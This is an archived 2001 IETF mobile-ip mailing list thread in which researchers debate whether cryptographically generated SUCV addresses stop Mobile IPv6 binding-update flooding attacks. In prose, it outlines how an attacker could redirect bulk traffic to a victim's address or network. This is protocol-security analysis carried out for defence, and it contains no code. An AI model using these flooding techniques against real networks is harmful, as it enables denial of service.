Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJAqZLS026455
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:52:35 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA22023
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:52:36 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA08151
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:52:47 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAJAqWh23331
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 12:52:32 +0200
Date: Mon, 19 Nov 2001 12:52:31 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
In-Reply-To: <3BF8DB93.89916822@inrialpes.fr>
Message-ID: <Pine.LNX.4.33.0111191248280.23106-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8BIT

On Mon, 19 Nov 2001, Claude Castelluccia wrote:
> > If you'd want to bomb an arbitrary node at random, it would be
> > difficult... 2^64 is a big number..
> >
> > If you'd really want to bomb a certain node, you'd by definition already
> > know it's address, or at least something significant about it.  Other data
> > could be gathered from web server logs, traffic analysis, irc
> > /whois etc.etc.
> >
> > I believe getting the interface ID would not prove too difficult if you
> > really wanted to.  This could be avoided by extensive use of privacy
> > extensions, but mandating that wouldn't be possible..
> >
> sure it is easy to know someone address and interface id ...but in order to
> bomb this address you need to prove that you can generate it (i.e you know
> a valid Pub/priv key pair that hashes to it) and this is not very easy...
> 
> There is nothing about privacy here...you don't need to hide your address...
> i really don't get your comment...am i missing something?

I may be very confused but you said:

>Just to summarize how this works,
>-the MN generates its interface ID  (we call it SUCV HID in SUCV) from 
>its public key
>
>- it then MUST generate its HomeAddress and Care-of Addresses by 
>appending thecorresponding routing prefix to its SUCV HID
                                                  ^^^^^^^^
[snip]

>As a result, an attacker can only use MIP to bomb someone if it is able
>to build a SUCV HID that is equal to the victim's interface id. This is
            ^^^^^^^^
>very difficult.... So by advocating to use the same SUCV HID than the
>Home Address for the Care-of addresses you solve the bombing problem you
>mention....for free...

SUCV HID is generated and used as an IP address with the prefix.  The 
attacker could either snoop or otherwise get to know the address used (ie 
prefix + SUCV HID), and start attacking.

Or am I off the mark here?

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 06:08:56 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25162
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 06:08:56 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA11720;
	Mon, 19 Nov 2001 04:07:30 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA02058;
	Mon, 19 Nov 2001 03:06:18 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJB5eLS026617
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:05:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJB5d6a026616
	for mobile-ip-dist; Mon, 19 Nov 2001 03:05:39 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJB5aLS026609
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:05:36 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA01997
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:05:15 -0800 (PST)
Received: from ebene.inrialpes.fr (ebene.inrialpes.fr [194.199.18.70])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA15010
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 04:05:48 -0700 (MST)
Received: from inrialpes.fr (glandon.inrialpes.fr [194.199.24.105])
	by ebene.inrialpes.fr (8.11.6/8.11.6) with ESMTP id fAJB1kr26906
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 12:01:46 +0100 (MET)
Message-ID: <3BF8E69B.19F7638B@inrialpes.fr>
Date: Mon, 19 Nov 2001 12:01:47 +0100
From: Claude Castelluccia <claude.castelluccia@inrialpes.fr>
X-Mailer: Mozilla 4.7 [en] (X11; I; SunOS 5.8 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
References: <Pine.LNX.4.33.0111191248280.23106-100000@netcore.fi>
Content-Type: multipart/alternative;
 boundary="------------C1B0FA84E31A32007AE031C7"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--------------C1B0FA84E31A32007AE031C7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Pekka Savola wrote:

> On Mon, 19 Nov 2001, Claude Castelluccia wrote:
> > > If you'd want to bomb an arbitrary node at random, it would be
> > > difficult... 2^64 is a big number..
> > >
> > > If you'd really want to bomb a certain node, you'd by definition already
> > > know it's address, or at least something significant about it.  Other data
> > > could be gathered from web server logs, traffic analysis, irc
> > > /whois etc.etc.
> > >
> > > I believe getting the interface ID would not prove too difficult if you
> > > really wanted to.  This could be avoided by extensive use of privacy
> > > extensions, but mandating that wouldn't be possible..
> > >
> > sure it is easy to know someone address and interface id ...but in order to
> > bomb this address you need to prove that you can generate it (i.e you know
> > a valid Pub/priv key pair that hashes to it) and this is not very easy...
> >
> > There is nothing about privacy here...you don't need to hide your address...
> > i really don't get your comment...am i missing something?
>
> I may be very confused but you said:
>
> >Just to summarize how this works,
> >-the MN generates its interface ID  (we call it SUCV HID in SUCV) from
> >its public key
> >
> >- it then MUST generate its HomeAddress and Care-of Addresses by
> >appending thecorresponding routing prefix to its SUCV HID
>                                                   ^^^^^^^^
> [snip]
>
> >As a result, an attacker can only use MIP to bomb someone if it is able
> >to build a SUCV HID that is equal to the victim's interface id. This is
>             ^^^^^^^^
> >very difficult.... So by advocating to use the same SUCV HID than the
> >Home Address for the Care-of addresses you solve the bombing problem you
> >mention....for free...
>
> SUCV HID is generated and used as an IP address with the prefix.  The
> attacker could either snoop or otherwise get to know the address used (ie
> prefix + SUCV HID), and start attacking.
>
> Or am I off the mark here?

I think you are (or am it?).
The attack described in draft-aura-mipv6-bu-attacks-00.txt consists
for an attacker to redirect its traffic to a victim by using the victim address
as CoA...for example, the attacker starts few big ftp transfers and then sends
a BU to each server with the victim address as CoA...the ftp will then be send to
the victim....

This is worse than snopping an address and bombarding it directly...

Claude.


--

----------------------------------------
Claude CASTELLUCCIA, INRIA Rhone-Alpes
ph:  +33 4.76.61.52.15 (fax: 52.52)
http://www.inrialpes.fr/planete/



--------------C1B0FA84E31A32007AE031C7
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Pekka Savola wrote:
<blockquote TYPE=CITE>On Mon, 19 Nov 2001, Claude Castelluccia wrote:
<br>> > If you'd want to bomb an arbitrary node at random, it would be
<br>> > difficult... 2^64 is a big number..
<br>> >
<br>> > If you'd really want to bomb a certain node, you'd by definition
already
<br>> > know it's address, or at least something significant about it.&nbsp;
Other data
<br>> > could be gathered from web server logs, traffic analysis, irc
<br>> > /whois etc.etc.
<br>> >
<br>> > I believe getting the interface ID would not prove too difficult
if you
<br>> > really wanted to.&nbsp; This could be avoided by extensive use
of privacy
<br>> > extensions, but mandating that wouldn't be possible..
<br>> >
<br>> sure it is easy to know someone address and interface id ...but in
order to
<br>> bomb this address you need to prove that you can generate it (i.e
you know
<br>> a valid Pub/priv key pair that hashes to it) and this is not very
easy...
<br>>
<br>> There is nothing about privacy here...you don't need to hide your
address...
<br>> i really don't get your comment...am i missing something?
<p>I may be very confused but you said:
<p>>Just to summarize how this works,
<br>>-the MN generates its interface ID&nbsp; (we call it SUCV HID in SUCV)
from
<br>>its public key
<br>>
<br>>- it then MUST generate its HomeAddress and Care-of Addresses by
<br>>appending thecorresponding routing prefix to its SUCV HID
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^
<br>[snip]
<p>>As a result, an attacker can only use MIP to bomb someone if it is
able
<br>>to build a SUCV HID that is equal to the victim's interface id. This
is
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^
<br>>very difficult.... So by advocating to use the same SUCV HID than
the
<br>>Home Address for the Care-of addresses you solve the bombing problem
you
<br>>mention....for free...
<p>SUCV HID is generated and used as an IP address with the prefix.&nbsp;
The
<br>attacker could either snoop or otherwise get to know the address used
(ie
<br>prefix + SUCV HID), and start attacking.
<p>Or am I off the mark here?</blockquote>
I think you are (or am it?).
<br>The attack described in draft-aura-mipv6-bu-attacks-00.txt consists
<br>for an attacker to redirect its traffic to a victim by using the victim
address
<br>as CoA...for example, the attacker starts few big ftp transfers and
then sends
<br>a BU&nbsp;to each server with the victim address as CoA...the ftp will
then be send to the victim....
<p>This is worse than snopping an address and bombarding it directly...
<p>Claude.
<br>&nbsp;
<pre>--&nbsp;

----------------------------------------
Claude CASTELLUCCIA, INRIA Rhone-Alpes&nbsp;&nbsp;
ph:&nbsp; +33 4.76.61.52.15 (fax: 52.52)
<A HREF="http://www.inrialpes.fr/planete/">http://www.inrialpes.fr/planete/</A></pre>
&nbsp;</html>

--------------C1B0FA84E31A32007AE031C7--



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 06:18:42 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25311
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 06:18:41 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA24483;
	Mon, 19 Nov 2001 03:17:28 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA03116;
	Mon, 19 Nov 2001 03:16:31 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJBFnLS026753
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:15:49 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJBFnt4026752
	for mobile-ip-dist; Mon, 19 Nov 2001 03:15:49 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJBFjLS026745
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:15:45 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA27308
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:15:45 -0800 (PST)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA14548
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:15:45 -0800 (PST)
Received: from INET-VRS-02.redmond.corp.microsoft.com ([157.54.8.110]) by mail2.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Mon, 19 Nov 2001 03:15:20 -0800
Received: from 157.54.5.25 by INET-VRS-02.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 19 Nov 2001 03:15:20 -0800
Received: from red-msg-09.redmond.corp.microsoft.com ([157.54.12.7]) by inet-hub-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Mon, 19 Nov 2001 03:15:20 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
Date: Mon, 19 Nov 2001 03:15:19 -0800
Message-ID: <C5673E2282E3234788224A0E7916EC5A0262672A@red-msg-09.redmond.corp.microsoft.com>
Thread-Topic: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
Thread-Index: AcFw30SY69SU1T1/S3yKW3ANxv1z5gACvD7A
From: "Tuomas Aura" <tuomaura@microsoft.com>
To: "Claude Castelluccia" <claude.castelluccia@inrialpes.fr>,
        <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 19 Nov 2001 11:15:20.0300 (UTC) FILETIME=[799C5AC0:01C170EB]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fAJBFkLS026746
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

Claude Castelluccia wrote:
> since this Interface Identifier is statically "unique", an 
> attacker can not bomb someone with Mobile IPv6... 

What you say about CAM/SUCV addresses is absolutely true, 
but it does not prevent the bombing attacks. While it is 
impossible to bomb a specific IP address, it is still possible 
to bomb any _network_. Nothing prevents the attacker from 
creating a new imaginary address with the routing prefix of 
the target network.

Tuomas



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 07:00:37 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA25682
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 07:00:37 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA07476;
	Mon, 19 Nov 2001 03:59:32 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA07640;
	Mon, 19 Nov 2001 03:58:57 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJBwLLS026968
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:58:21 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJBwKFO026967
	for mobile-ip-dist; Mon, 19 Nov 2001 03:58:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJBwHLS026960
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:58:17 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA12493
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 03:58:17 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA13083
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 04:57:58 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAJBwCt23815;
	Mon, 19 Nov 2001 13:58:12 +0200
Date: Mon, 19 Nov 2001 13:58:12 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
cc: Claude Castelluccia <claude.castelluccia@inrialpes.fr>
Subject: RE: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
In-Reply-To: <C5673E2282E3234788224A0E7916EC5A0262672A@red-msg-09.redmond.corp.microsoft.com>
Message-ID: <Pine.LNX.4.33.0111191354290.23781-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Mon, 19 Nov 2001, Tuomas Aura wrote:
> Claude Castelluccia wrote:
> > since this Interface Identifier is statically "unique", an 
> > attacker can not bomb someone with Mobile IPv6... 
> 
> What you say about CAM/SUCV addresses is absolutely true, 
> but it does not prevent the bombing attacks. While it is 
> impossible to bomb a specific IP address, it is still possible 
> to bomb any _network_. Nothing prevents the attacker from 
> creating a new imaginary address with the routing prefix of 
> the target network.

I'm wondering whether it would be possible to find a key to so that the
hash would be like '::1' or '::'..  One of these exists in every network,
at least..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 07:18:33 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA25790
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 07:18:33 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA24661;
	Mon, 19 Nov 2001 05:17:01 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA14864;
	Mon, 19 Nov 2001 04:16:58 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJCG5LS027097
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 04:16:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJCG5dF027096
	for mobile-ip-dist; Mon, 19 Nov 2001 04:16:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJCG2LS027089
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 04:16:02 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA09664
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 04:15:37 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA23720
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 05:15:38 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAJCFrw23946
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 14:15:53 +0200
Date: Mon, 19 Nov 2001 14:15:53 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
In-Reply-To: <3BF8E69B.19F7638B@inrialpes.fr>
Message-ID: <Pine.LNX.4.33.0111191359220.23781-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8BIT

On Mon, 19 Nov 2001, Claude Castelluccia wrote:
> I think you are (or am it?).
> The attack described in draft-aura-mipv6-bu-attacks-00.txt consists
> for an attacker to redirect its traffic to a victim by using the victim address
> as CoA...for example, the attacker starts few big ftp transfers and then sends
> a BU to each server with the victim address as CoA...the ftp will then be send to
> the victim....
> 
> This is worse than snopping an address and bombarding it directly...

You're right.

In case it'd help some others too, I'll try to explain the problem in 
other words:

1. Attacker may know the prefix + SUCV HID of the victim
2. Attacker may know the public key of the victim
3. Attacker may set his own prefix + SUCV HID of the victim

However,

4. Attacker cannot reverse SUCV HID to get the private key, therefore
Attacker cannot send BU which would have to be signed with it.

As pointed out it's still possible, though, to do e.g.:

1. Attacker generate a public + private key which generates SUCV HID #2
2. Subscribe to some heavy traffic to his prefix + SUCV HID #2
3. Send autheticated BU to the source, and redirect the traffic to 
victim's prefix + SUCV HID #2.

The chances, unless certain widely used suffixes are reversed, of victim's
prefix + SUCV HID #2 being used in the netwrok are quite small, but the
network is still congested.

However, I'm not 100% sure how much different this is to certain reflected 
DoS attacks today, e.g. send an ICMP echo request with src=victim, 
destination=reflector. (well, this could not be prevented by ingress 
filtering at least).

I was confused, and thrown off by your statement:

> As a result, an attacker can only use MIP to bomb someone if it is
> able to build a SUCV HID that is equal to the victim's interface id.
> This is very difficult....

Building (by snooping, ...) SUCV HID is easy, but finding out the matching 
private key isn't..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords




From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 08:31:53 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA27302
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 08:31:52 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA09400;
	Mon, 19 Nov 2001 06:29:44 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA21347;
	Mon, 19 Nov 2001 05:29:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJDSiLS027384
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 05:28:44 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJDSi6u027383
	for mobile-ip-dist; Mon, 19 Nov 2001 05:28:44 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJDSeLS027376
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 05:28:40 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA21168
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 05:28:41 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA07934
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 05:28:40 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26718;
	Mon, 19 Nov 2001 08:28:37 -0500 (EST)
Message-Id: <200111191328.IAA26718@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-ietf-mobileip-lmm-requirements-00.txt
Date: Mon, 19 Nov 2001 08:28:37 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Routing for Wireless/Mobile Hosts Working Group of the IETF.

	Title		: Localized Mobility Management Requirements for IPv6
	Author(s)	: C. Williams
	Filename	: draft-ietf-mobileip-lmm-requirements-00.txt
	Pages		: 14
	Date		: 16-Nov-01
	
This document describes requirements for Localized Mobility
Management (LMM) for Mobile IPv6.  These requirements are intended
to guide the design of a protocol specification for LMMv6.
